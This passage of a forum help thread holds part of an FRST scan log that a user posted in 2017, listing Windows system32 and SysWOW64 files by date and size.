2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmpushproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\TetheringIeProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\TapiSysprep.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\PCShellCommonProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\oleacchooks.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\DeviceUxRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\CHxReadingStringIME.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013091 _____ C:\windows\system32\DevModeRunAsUserConfig.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00012876 _____ C:\windows\SysWOW64\korean.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00012876 _____ C:\windows\system32\korean.uce

Twix. 06.06.2017 11:45
FRST8:
Code:
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\TapiUnattend.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\recover.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasadhlp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\panmap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmcico.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\ifsutilx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\efsui.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\chcp.com
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\WalletBackgroundServiceProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\provdiagnostics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\netwphelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\dstokenclean.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mstee.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshirda.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\WpPortingLibrary.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.BackgroundPlayback.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\usbperf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\txfw32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\spwinsat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\PerceptionSimulation.ProxyStubs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\mprext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\MinstoreEvents.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmiso8601utils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\dhcpcmonitor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceUxRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\C_ISCII.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\c_GSM7.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\SysWOW64\BamSettingsClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\tapiperf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\RemotePosWorker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-battery-events.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00012288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\cldflt.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsmplpxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\wscproxystub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\WSClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\verclsid.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\RdpSaPs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscat32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\InfDefaultInstall.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\IconCodecService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\HOSTNAME.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\gamemonitor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\FamilySafetyExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmcommandlineutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\dciman32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\CortanaMapiHelper.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\SysWOW64\browseui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\WiaExtensionHost64.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\systray.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00011776 _____ (Microsoft Corporation) C:\windows\system32\msidle.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011680 _____ (Microsoft Corporation) C:\windows\SysWOW64\uxlibres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\write.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\SysWOW64\wship6.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncHostps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\SysWOW64\SensApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\SysWOW64\cfmifsproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\XInput9_1_0.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\wuapihost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\write.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\SEMgrSvcPAL.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\rdpcfgex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\nddeapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\getuname.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\ctfmon.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\WSHTCPIP.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\winrssrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\WalletBackgroundServiceProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIManagerBrokerps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\TCPSVCS.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\softpub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\RemoveDeviceElevated.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\msrating.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\GameBarPresenceWriter.proxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdBthProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\dvdplay.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\dllhst3g.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\CHxReadingStringIME.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\apprepapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\shfolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\NetHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\msctfime.ime
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\kbdnecat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mspqm.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mspclock.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00010752 _____ (Microsoft Corporation) C:\windows\system32\DMAlertListener.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010576 _____ C:\windows\system32\TransformPPSToWlan.xslt
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\winhlp32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\write.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\TapiSysprep.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\sas.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\regedt32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\PCShellCommonProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleacchooks.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcji32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\msiwer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\help.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\GameChatOverlayExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\dcomcnfg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\ctfmon.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\riched32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\lpksetupproxyserv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\tapiperf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\systray.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\nddeapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\msidle.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\Microsoft-Windows-MosTrace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdnecat.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHEPT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsied.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009728 _____ (Microsoft Corporation) C:\windows\system32\Microsoft-Windows-MosTrace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\XInput9_1_0.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\TimeDateMUICallback.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\spnet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\shfolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\mssip32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\Microsoft-Windows-MosHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\ir50_qcx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\ir50_qc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\ir50_32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\ir41_qcx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\ir41_qc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\ir41_32.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\iprtprio.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\SysWOW64\acledit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\Microsoft-Windows-MosHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008960 _____ (Microsoft Corporation) C:\windows\SysWOW64\typelib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008960 _____ (Microsoft Corporation) C:\windows\SysWOW64\storage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008960 _____ (Microsoft Corporation) C:\windows\SysWOW64\ole2nls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008960 _____ (Microsoft Corporation) C:\windows\SysWOW64\ole2disp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008960 _____ (Microsoft Corporation) C:\windows\SysWOW64\ole2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008960 _____ (Microsoft Corporation) C:\windows\SysWOW64\compobj.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\RpcNs4.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\OskSupport.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\odtext32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\odpdx32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\odfox32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\odexl32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\oddbse32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\Nlsdl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctfime.ime
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDYCL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSMSNO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSMSFI.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDROST.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDROPR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLVST.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCAN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\ir32_32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\instnm.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\getuname.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dabapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\comcat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\kbdnec95.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\kbdnec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\kbdibm02.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008704 _____ (Microsoft Corporation) C:\windows\system32\f3ahvoas.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008484 _____ C:\windows\SysWOW64\kanji_2.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00008484 _____ C:\windows\system32\kanji_2.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ C:\windows\system32\settings.dat
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\wscadminui.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataAccessRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\simpdata.tlb
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\riched32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\osuninst.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\mtxex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUS.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUKX.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSL1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDRUM.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDRO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDNO1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdnecnt.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdnec95.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdnec.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINUK2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINEN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGRLND.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDFI1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCZ2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCZ1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCZ.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\SysWOW64\idndl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\UserDataAccessRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\Drivers\gpuenergydrv.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUSX.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTZM.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTUQ.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTUF.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTIPRD.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTIPRC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSW09.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSORST.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSORS1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSOREX.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSG.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSF.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDPO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDPL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDNSO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDNEPR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLV1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdlk41a.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDIULAT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdibm02.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHU.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHELA3.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGR1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGKL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDFC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDES.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBENE.DLL
